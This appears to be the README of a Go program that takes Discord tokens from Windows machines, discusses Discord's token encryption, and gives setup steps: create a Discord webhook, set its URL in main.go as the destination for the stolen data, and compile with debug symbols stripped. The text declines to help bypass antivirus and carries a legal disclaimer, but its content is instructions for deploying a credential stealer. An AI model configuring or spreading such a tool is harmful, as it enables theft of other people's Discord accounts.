Encrypting the Discord token on Windows using WinApi specific functions and AES GCM is not necessarily useless, as it does provide some level of protection against unauthorized access to the token. However, it is important to note that this approach is not foolproof and there is always a risk of the token being compromised.
Therefore, while encrypting the token is a step in the right direction, it is important for Discord to continue to evaluate and improve their security measures to better protect user data. This may involve finding alternative methods of protecting the token.
The code on this current branch is designed for Windows Systems. If you wish to use it for Linux & MacOS, please checkout the Unix branch
The use of this software on any device that is not your own is highly discouraged. You need to obtain explicit permission from the owner if you intend to use this program in an environment you don't own, any illicit installation will likely be prosecuted by the jurisdiction the (ab)use occurs in. Creators shall not be liable for any indirect, incidental, special, consequential or punitive damages, or any loss of profits or revenue, whether incurred directly or indirectly, or any loss of data, use, goodwill, or other intangible losses, resulting from:
Create a Discord Webhook (https://support.discord.com/hc/articles/228383668-Intro-to-Webhooks)
Install Golang: https://golang.org/dl
Simply change these values in the main.go
file:
const (
WebhookUrl = "YOUR_WEBHOOK_URL"
WebhookUsername = "YOUR_WEBHOOK_NAME" // Webhook name
Debug = false // For a console output
)
Then simply compile the main.go win.go
files !
# This command will keep debug info in your exe
go build main.go win.go
# By default, go build combines symbol and debug info with binary files.
# However, you can remove the symbol and debug info with
go build -ldflags "-s -w" main.go win.go
I won't provide help on how to bypass AVs as it's not the purpose of this project.